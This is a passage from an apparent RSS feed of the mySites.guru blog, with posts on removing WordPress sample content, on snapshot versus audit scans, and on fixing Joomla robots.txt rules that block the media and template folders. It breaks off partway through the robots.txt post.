&lt;p&gt;&lt;strong&gt;Want a thorough review?&lt;/strong&gt; Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; to see everything mySites.guru covers, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;reach out to Phil directly&lt;/a&gt; if you&apos;d like a hand going through your results.&lt;/p&gt;
&lt;p&gt;The files are already there. The question is whether you find them before someone else does.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>cleanup</category><category>archive files</category><category>sql dumps</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server.BR7V4SGJ.webp" length="0" type="image/webp"/></item><item><title>How to Remove the Sample Page and Hello World Post in WordPress with One Click</title><link>https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</guid><description>Every WordPress install ships with a Sample Page and Hello World post. Learn why they hurt SEO and how mySites.guru removes them across all your sites.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;;
import investigateImg from &apos;../../assets/img/blog/sample-page-investigate-fix.webp&apos;;
import successImg from &apos;../../assets/img/blog/sample-page-fix-success.webp&apos;;&lt;/p&gt;
&lt;h2&gt;The default content nobody remembers to delete&lt;/h2&gt;
&lt;p&gt;Every WordPress installation ships with two pieces of placeholder content: a page called &quot;Sample Page&quot; and a post titled &quot;Hello World!&quot; They&apos;re meant to show new users how pages and posts work, but in practice both get forgotten. Site owners move on to creating real content, and the defaults sit there indefinitely, indexed by Google, visible to visitors, and broadcasting that nobody cleaned up after the install.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit detects both the Sample Page and Hello World post across all your connected sites, and lets you remove them with one click through the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;connector plugin&lt;/a&gt;. No wp-admin login required. If you&apos;re managing dozens of sites, you can see exactly which ones still have default content from a single dashboard, then fix them one by one without opening a single WordPress admin panel. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see what your sites look like.&lt;/p&gt;
&lt;p&gt;The Sample Page contains placeholder text about &quot;The XYZ Doohickey Company&quot; and a bike messenger, while the Hello World post is just a single sentence inviting you to delete it. Here&apos;s the full default text:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects and removes WP default content&lt;/h2&gt;
&lt;p&gt;mySites.guru splits this into two audit checks, each with its own fix button.&lt;/p&gt;
&lt;p&gt;The pivot page shows you the status of every WordPress site at once, so you can see which ones still have default content without opening each site individually:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click &quot;Investigate&quot; on any flagged site to see the issue details with a one-click fix button. One click later, the check goes green:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
    &lt;/div&gt;
    &lt;p&gt;Issue detected&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
    &lt;/div&gt;
    &lt;p&gt;Fixed in one click&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without logging into wp-admin.&lt;/p&gt;
&lt;h3&gt;Why two separate checks?&lt;/h3&gt;
&lt;p&gt;Some sites might have repurposed the Sample Page with real content (renamed it, changed the slug, kept the page ID). Others might have deleted one but not the other. Separate checks give you accurate reporting for each piece of default content.&lt;/p&gt;
&lt;h3&gt;Automatic detection on new sites&lt;/h3&gt;
&lt;p&gt;Every time you connect a new WordPress site to mySites.guru, the first snapshot catches default content automatically. No checklist needed.&lt;/p&gt;
&lt;p&gt;This matters when you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inherit existing sites from other developers or hosting providers&lt;/li&gt;
&lt;li&gt;Build sites from starter templates that may or may not clean up defaults&lt;/li&gt;
&lt;li&gt;Push staging sites to production where test content might slip through&lt;/li&gt;
&lt;li&gt;Onboard client sites that have been &quot;live&quot; for months with nobody noticing the leftover content&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why default WordPress content actually matters&lt;/h2&gt;
&lt;p&gt;Search engines index everything they can find. A &quot;Sample Page&quot; with boilerplate text like &quot;This is an example page&quot; competes with your actual content for crawl budget. On small sites, that&apos;s a real percentage of your indexed pages being worthless filler.&lt;/p&gt;
&lt;p&gt;This is not a hypothetical problem. A quick search shows default WordPress content indexed on government websites:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The Jersey connection&lt;/h2&gt;
&lt;p&gt;It is just as common on business and nonprofit websites. Here are eight Jersey (.je) sites, all with the default Sample Page sitting in Google&apos;s index:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Google&apos;s helpful content updates have made thin, low-value content a bigger ranking factor than ever. Pages with no useful content can actively hurt your site&apos;s overall quality signals. If you&apos;re already working on &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress configuration best practices&lt;/a&gt;, removing default content should be near the top of your list.&lt;/p&gt;
&lt;h2&gt;Professional appearance and security&lt;/h2&gt;
&lt;p&gt;If a potential client visits your WordPress site and finds a &quot;Hello World!&quot; post dated the day you installed WordPress, it undermines trust. It says &quot;this site isn&apos;t maintained carefully.&quot; For agencies building sites for clients, leaving default content behind is the digital equivalent of leaving scaffolding up after the building is finished.&lt;/p&gt;
&lt;p&gt;Default content also confirms a site runs WordPress and suggests the setup was not done thoroughly. Automated scanners look for signals like this to identify targets that might have other default settings left unchanged - like default admin usernames, exposed wp-config backups, or enabled XML-RPC. The same principle applies to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;leaving debug mode enabled on production&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;allowing unrestricted plugin installs&lt;/a&gt; - each leftover default is a signal that the site might have more low-hanging fruit.&lt;/p&gt;
&lt;h2&gt;Removing default content the manual way&lt;/h2&gt;
&lt;p&gt;In a single WordPress admin, it takes about 30 seconds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Posts &amp;gt; All Posts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the &quot;Hello World!&quot; post&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Pages &amp;gt; All Pages&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the &quot;Sample Page&quot;&lt;/li&gt;
&lt;li&gt;Empty the trash for both&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now do that for every WordPress site you manage. Log into each one, navigate to the right screen, delete the content, empty the trash. For 50 sites, that&apos;s 50 separate login sessions.&lt;/p&gt;
&lt;p&gt;And if you&apos;re onboarding new sites regularly, you need to remember to check every new installation. This is the same scaling problem that makes &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from individual admin panels unsustainable.&lt;/p&gt;
&lt;h2&gt;Part of a bigger cleanup&lt;/h2&gt;
&lt;p&gt;Default content is one of many things the WordPress Configuration audit catches. Other items in the &quot;should have been cleaned up at install&quot; category:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XML-RPC still enabled&lt;/strong&gt; - an old API surface that most sites don&apos;t need and attackers actively target&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;Debug mode left on&lt;/a&gt;&lt;/strong&gt; - exposes error details and can leak sensitive paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database repair endpoint exposed&lt;/strong&gt; - allows unauthenticated access to &lt;code&gt;wp-admin/maint/repair.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;File editing enabled&lt;/a&gt;&lt;/strong&gt; in the admin - lets any admin user modify PHP files directly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;Uncontrolled automatic updates&lt;/a&gt;&lt;/strong&gt; - can break sites overnight with untested upgrades&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They all work the same way: detected during snapshots, reported in the audit, fixable with one click through the connector. For a complete picture of what the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit covers&lt;/a&gt;, including deep file scanning and hack detection, see our audit tools overview.&lt;/p&gt;
&lt;h2&gt;Scaling cleanup across a portfolio&lt;/h2&gt;
&lt;p&gt;For agencies and freelancers managing 20, 50, or 200+ WordPress sites, the real value is the confidence that none of your sites have this issue, and the automatic detection when a new site does.&lt;/p&gt;
&lt;p&gt;Combined with the other WordPress Configuration checks, you can bring every new site up to your baseline standard within minutes of connecting it. No post-install checklist, no &quot;I&apos;ll get to it later&quot; items that never get done.&lt;/p&gt;
&lt;p&gt;If you&apos;re building a consistent management workflow across a portfolio of client sites, start with our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/before-install/howto-install/#step-5-run-the-install-script&quot;&gt;WordPress Codex: First Steps with WordPress&lt;/a&gt; - The official installation guide that creates the default content in Step 5&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/essentials/spam-policies#thin-content&quot;&gt;Google Search Central: Thin Content&lt;/a&gt; - Google&apos;s spam policies on pages with little or no added value&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wpexplorer.com/wordpress-launch-checklist/&quot;&gt;WPExplorer: WordPress Launch Checklist&lt;/a&gt; - Pre-launch checklist that includes deleting dummy content like Sample Page and Hello World&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>cleanup</category><category>sample content</category><category>site management</category><category>seo</category><enclosure url="https://mysites.guru/_astro/remove-sample-page-hello-world-wordpress-one-click.CjvjW7cO.webp" length="0" type="image/webp"/></item><item><title>Snapshot vs Audit: What&apos;s the Difference?</title><link>https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</guid><description>mySites.guru checks your sites two ways: quick snapshots of config and settings, and deep audits that scan every file. Here&apos;s when to use each.</description><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru checks your WordPress and Joomla sites in two very different ways: the &lt;strong&gt;Snapshot&lt;/strong&gt; and the &lt;strong&gt;Audit&lt;/strong&gt;. Both produce a list of checks with pass/fail results, but they collect that data differently and catch different things.&lt;/p&gt;
&lt;p&gt;The snapshot checks your site&apos;s configuration and settings in milliseconds. The audit reads every single file in your webspace looking for threats. They run independently, on their own schedules, and you want both.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru Snapshot work?&lt;/h2&gt;
&lt;p&gt;The snapshot is a quick health check. It looks up database settings, reads specific configuration files, checks HTTP response headers, and counts things like user accounts and installed plugins. None of this requires scanning your file system, so it completes in milliseconds.&lt;/p&gt;
&lt;p&gt;There are over 140 individual checks, grouped into categories like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Platform configuration (debug mode, SSL, file editing, XML-RPC, auto-updates, and dozens more)&lt;/li&gt;
&lt;li&gt;User accounts (inactive users, unactivated accounts, hashed passwords, admin count)&lt;/li&gt;
&lt;li&gt;Security headers (X-Frame-Options, Content-Security-Policy, HSTS, Referrer-Policy)&lt;/li&gt;
&lt;li&gt;Extensions and plugins (installed versions, available updates, deactivated plugins still on disk)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Database integrity&lt;/a&gt; (table prefix, user permissions, pending migrations)&lt;/li&gt;
&lt;li&gt;Hosting environment (PHP version, disabled functions, error reporting, session configuration)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Snapshots run automatically twice a day on every connected site. You can also trigger one on demand whenever you want fresh data. At the end of each snapshot, mySites.guru also gathers your full list of extensions and themes, checks each one for available updates, and flags any with &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;known vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many snapshot checks include a one-click toggle to fix the issue right from the dashboard. Debug mode left on? One click. User registration accidentally enabled? One click. No need to log into the site.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru Audit work?&lt;/h2&gt;
&lt;p&gt;The audit goes much deeper. Instead of checking configuration values, it reads and inspects &lt;strong&gt;every file and every line of code&lt;/strong&gt; in your entire webspace. That means PHP files, JavaScript, images, archives, hidden files, everything.&lt;/p&gt;
&lt;p&gt;It uses over 20,000 regex patterns and 14,000 MD5 hashes to identify:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malware and backdoors (suspect code patterns, obfuscated PHP, known malicious file hashes)&lt;/li&gt;
&lt;li&gt;Mass mailers (scripts designed to send spam from your server)&lt;/li&gt;
&lt;li&gt;Modified core files (WordPress or Joomla core files that have been tampered with)&lt;/li&gt;
&lt;li&gt;Hidden files and folders (files starting with a dot, tucked into directories you&apos;d never think to check)&lt;/li&gt;
&lt;li&gt;Dangerous permissions (files or folders with 777 permissions)&lt;/li&gt;
&lt;li&gt;Suspicious file types (SQL dumps, renamed PHP files, upload scripts in unexpected locations)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the audit has to read every file, it takes longer than a snapshot. A small site might finish in a couple of minutes; a large site with thousands of files takes longer. The system adjusts its scan speed automatically to avoid overloading slower hosts.&lt;/p&gt;
&lt;p&gt;Audits run on a schedule - weekly by default, but you can set them to run daily or monthly depending on how security-sensitive your sites are. You can also &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;trigger one manually&lt;/a&gt; whenever you need it.&lt;/p&gt;
&lt;h2&gt;How do they compare side by side?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Snapshot&lt;/th&gt;
&lt;th&gt;Audit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Milliseconds&lt;/td&gt;
&lt;td&gt;Minutes (depends on site size)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Frequency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Twice daily + on demand&lt;/td&gt;
&lt;td&gt;Weekly by default (daily/monthly options)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What it checks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Config, settings, headers, users, extension versions&lt;/td&gt;
&lt;td&gt;Every file and line of code in the webspace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Number of checks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;140+&lt;/td&gt;
&lt;td&gt;26-30 deep inspection tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Finds hacks?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Catches config red flags&lt;/td&gt;
&lt;td&gt;Yes - deep malware and backdoor detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;One-click fixes?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes, many checks have toggles&lt;/td&gt;
&lt;td&gt;Investigation tools for reviewing findings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Runs automatically?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes, twice daily&lt;/td&gt;
&lt;td&gt;Yes, on your chosen schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;When should you use each one?&lt;/h2&gt;
&lt;p&gt;Snapshots are for daily monitoring. Are your sites configured correctly? Has anything drifted from best practice? Do any extensions need updating? You get answers twice a day without lifting a finger.&lt;/p&gt;
&lt;p&gt;Audits are for periodic security checks. They tell you whether any files on your server have been compromised, modified, or look suspicious. The audit is what catches the backdoor someone planted three months ago, or the mass mailer hiding in a forgotten uploads directory.&lt;/p&gt;
&lt;p&gt;You run both. Snapshots handle configuration and updates. Audits handle file-level threats.&lt;/p&gt;
&lt;h2&gt;Why the speed difference?&lt;/h2&gt;
&lt;p&gt;It comes down to what gets read. Snapshot tools pull a database value or check a single file - that&apos;s a millisecond operation. Audit tools open every file in the webspace and compare its contents against thousands of patterns. That takes real time, and it should.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing a portfolio of WordPress or Joomla sites, having both running on schedule means you&apos;re covered on configuration drift and file-level threats without having to remember to check anything manually.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; and see where your sites stand.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Snapshots and audits are both covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>audit</category><category>security</category><category>wordpress</category><category>joomla</category><enclosure url="https://mysites.guru/_astro/snapshot-vs-audit-whats-the-difference.CV8gtdGm.png" length="0" type="image/png"/></item><item><title>How to Check if Your Joomla Site&apos;s robots.txt is Hurting Your SEO</title><link>https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</guid><description>Joomla&apos;s default robots.txt blocks media and template folders from search engines, killing your image SEO. Here&apos;s how to fix it.</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There&apos;s a small text file sitting in the root of almost every Joomla site on the web. It&apos;s called &lt;code&gt;robots.txt&lt;/code&gt;, and there&apos;s a decent chance yours is actively hurting your search rankings without you knowing.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with older Joomla versions tells Google to stay away from your &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; folders. That means your images won&apos;t show up in Google Image Search, and Google can&apos;t properly render your pages to assess their quality. Both of those things cost you traffic.&lt;/p&gt;
&lt;p&gt;mySites.guru checks this automatically on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; across all your connected sites, flags the problem, and can fix it with a single click. But even if you&apos;re not using mySites.guru yet, this post covers how to audit your Joomla site&apos;s &lt;code&gt;robots.txt&lt;/code&gt; for SEO problems and fix what you find.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Catch robots.txt Problems?&lt;/h2&gt;
&lt;h3&gt;Automatic snapshot check&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on your Joomla site (twice daily by default, or on demand) it reads your &lt;code&gt;robots.txt&lt;/code&gt; and checks whether the file contains &lt;code&gt;Disallow&lt;/code&gt; statements for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If either is found, the snapshot flags it as an issue: &quot;Your robots.txt File Should Not Restrict Media &amp;amp; Template Folders.&quot; The check appears in the Joomla Configuration section alongside other &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; checks, with a clear pass/fail indicator and trend tracking that shows whether the status has changed since the last snapshot.&lt;/p&gt;
&lt;p&gt;When the check passes, you get a clear green confirmation:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Deeper audit check&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; goes further. During a full audit, mySites.guru reads every file on your webspace and checks whether your &lt;code&gt;robots.txt&lt;/code&gt; has been modified from the Joomla default. If it hasn&apos;t, the audit flags that too: &quot;Distributed robots.txt File Should Be Modified To Suit Your Site.&quot;&lt;/p&gt;
&lt;p&gt;This catches the broader problem of sites running completely unchanged defaults. Even if the default doesn&apos;t block &lt;code&gt;/media/&lt;/code&gt; (as in Joomla 5&apos;s default), it still lacks a &lt;code&gt;Sitemap&lt;/code&gt; directive and may not reflect your specific configuration.&lt;/p&gt;
&lt;h3&gt;One-click fix&lt;/h3&gt;
&lt;p&gt;When the check finds a problem, you get a clear warning with an &quot;Auto-Magically Fix This For Me&quot; button:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click it and mySites.guru removes the &lt;code&gt;Disallow: /templates/&lt;/code&gt; and &lt;code&gt;Disallow: /media/&lt;/code&gt; lines from your robots.txt and saves the updated file back to your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you need to make more detailed changes, mySites.guru also includes a full file editor for your robots.txt. You can view and edit the raw file contents with syntax-highlighted line numbers, then click Save to push the changes directly to your site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Check all your sites at once with the pivot page&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, you don&apos;t need to open each one individually. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/mediaandtemplate&quot;&gt;robots.txt pivot page&lt;/a&gt; shows the status of this check across every connected Joomla site on a single screen. Each site shows either &quot;OK&quot; (green) or &quot;1 Issue&quot; (red), with &quot;Investigate&quot; and &quot;Manage Site&quot; buttons for quick action.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client portfolios, this view saves a lot of time. Instead of logging into each site&apos;s snapshot results, you can scan dozens or hundreds of sites in seconds and jump straight to the ones that need attention.&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule automated audits&lt;/a&gt; so the deeper robots.txt analysis runs on a regular cadence without you having to remember to trigger it.&lt;/p&gt;
&lt;h2&gt;What Is robots.txt and Why Should You Care?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; file lives at &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. It&apos;s a plain text file that search engine crawlers read before they start indexing your site. The file contains simple directives: which user agents (crawlers) are addressed, which paths they&apos;re allowed to access, and which they should skip.&lt;/p&gt;
&lt;p&gt;Here&apos;s a simplified example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /tmp/
Allow: /
Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;User-agent: *&lt;/code&gt; line means &quot;this applies to all crawlers.&quot; The &lt;code&gt;Disallow&lt;/code&gt; lines tell crawlers not to access those paths. The &lt;code&gt;Allow&lt;/code&gt; line explicitly permits everything else. The &lt;code&gt;Sitemap&lt;/code&gt; line points crawlers to your XML sitemap.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;robots.txt is advisory, not a security measure&lt;/p&gt;
  &lt;p&gt;Well-behaved crawlers like Googlebot honor robots.txt rules, but malicious bots ignore them entirely. Never rely on robots.txt to hide sensitive content. Use proper authentication and &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt; instead.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Why should you care? Because one wrong line in this file can prevent Google from indexing entire sections of your site. Block the wrong folder and your images vanish from search results, your CSS and JavaScript become invisible to Google&apos;s rendering engine, and your pages might be assessed as broken or low quality.&lt;/p&gt;
&lt;p&gt;On the flip side, a well-configured &lt;code&gt;robots.txt&lt;/code&gt; helps search engines crawl your site efficiently. It tells them to skip admin directories they don&apos;t need, points them to your sitemap, and makes sure they can access every resource they need to render your pages properly.&lt;/p&gt;
&lt;h2&gt;What Is Wrong With Joomla&apos;s Default robots.txt?&lt;/h2&gt;
&lt;p&gt;Joomla has shipped a &lt;code&gt;robots.txt&lt;/code&gt; file with every release. The problem is that the default version was overly restrictive for years, and many sites are still running those old defaults.&lt;/p&gt;
&lt;h3&gt;The pre-3.4.0 mistake&lt;/h3&gt;
&lt;p&gt;This one affected a huge number of Joomla sites worldwide, and many are still living with the consequences over a decade later.&lt;/p&gt;
&lt;p&gt;Before Joomla 3.4.0 (released February 2015), the default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with every Joomla installation included these lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /media/
Disallow: /templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those two lines told every search engine crawler: don&apos;t look at anything in the media folder, and don&apos;t look at anything in the templates folder. Every single Joomla site installed between September 2005 (Joomla 1.0) and February 2015 (Joomla 3.4.0) got this file by default. That&apos;s nearly ten years of installations.&lt;/p&gt;
&lt;p&gt;Think about what lives in those folders:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/media/&lt;/code&gt;&lt;/strong&gt; contains your uploaded images, CSS files, JavaScript libraries, and media assets that Joomla extensions place there. Blocking this folder means Google can&apos;t see any of those resources. Every image you&apos;ve carefully optimised, every product photo, every infographic - invisible to Google Image Search.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/templates/&lt;/code&gt;&lt;/strong&gt; contains your template&apos;s CSS, JavaScript, images, and font files. Blocking this folder means Google can&apos;t load your site&apos;s stylesheet or scripts when it tries to render the page. To Google&apos;s rendering engine, your site looks like raw unstyled HTML from the 1990s.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The issue came to a head in July 2015 when Google started actively penalising sites that blocked rendering resources. Google sent mass warning emails to every site registered in Search Console (which had just been rebranded from Google Webmaster Tools two months earlier) that was blocking CSS and JavaScript. Tens of thousands of Joomla site owners received that warning on the same day. The Joomla forums and community channels were flooded with confused administrators who had never touched their robots.txt and couldn&apos;t understand why Google was suddenly complaining.&lt;/p&gt;
&lt;p&gt;The Joomla project had already fixed the default &lt;code&gt;robots.txt&lt;/code&gt; in version 3.4.0 five months earlier, but the damage was done: sites that had already been installed kept the old file. And because Joomla&apos;s updater doesn&apos;t overwrite &lt;code&gt;robots.txt&lt;/code&gt; (more on that below), even sites that upgraded to 3.4+ kept the old restrictive rules unless someone manually edited the file.&lt;/p&gt;
&lt;h3&gt;Why old defaults stick around&lt;/h3&gt;
&lt;p&gt;Joomla doesn&apos;t overwrite &lt;code&gt;robots.txt&lt;/code&gt; during updates. When you upgrade from Joomla 3.3 to 3.4 (or from 3.x to 4.x, or 4.x to 5.x), your existing &lt;code&gt;robots.txt&lt;/code&gt; stays exactly as it was. The updated version ships as &lt;code&gt;robots.txt.dist&lt;/code&gt; so you can compare, but the actual file serving your site remains untouched.&lt;/p&gt;
&lt;p&gt;That means if you installed Joomla before version 3.4.0 and never manually edited your &lt;code&gt;robots.txt&lt;/code&gt;, those restrictive rules are still there. Your site could have been blocking Google from your images and CSS for over a decade.&lt;/p&gt;
&lt;p&gt;Even sites installed after 3.4.0 aren&apos;t always clean. Some hosting providers use outdated Joomla installation packages. Some site builders copy &lt;code&gt;robots.txt&lt;/code&gt; files from other projects without checking what&apos;s in them. And some well-meaning tutorials from 2013 still rank on page one of Google, telling people to add &lt;code&gt;Disallow: /media/&lt;/code&gt; for &quot;security reasons.&quot;&lt;/p&gt;
&lt;h3&gt;Real-world examples: even joomla.org gets this wrong&lt;/h3&gt;
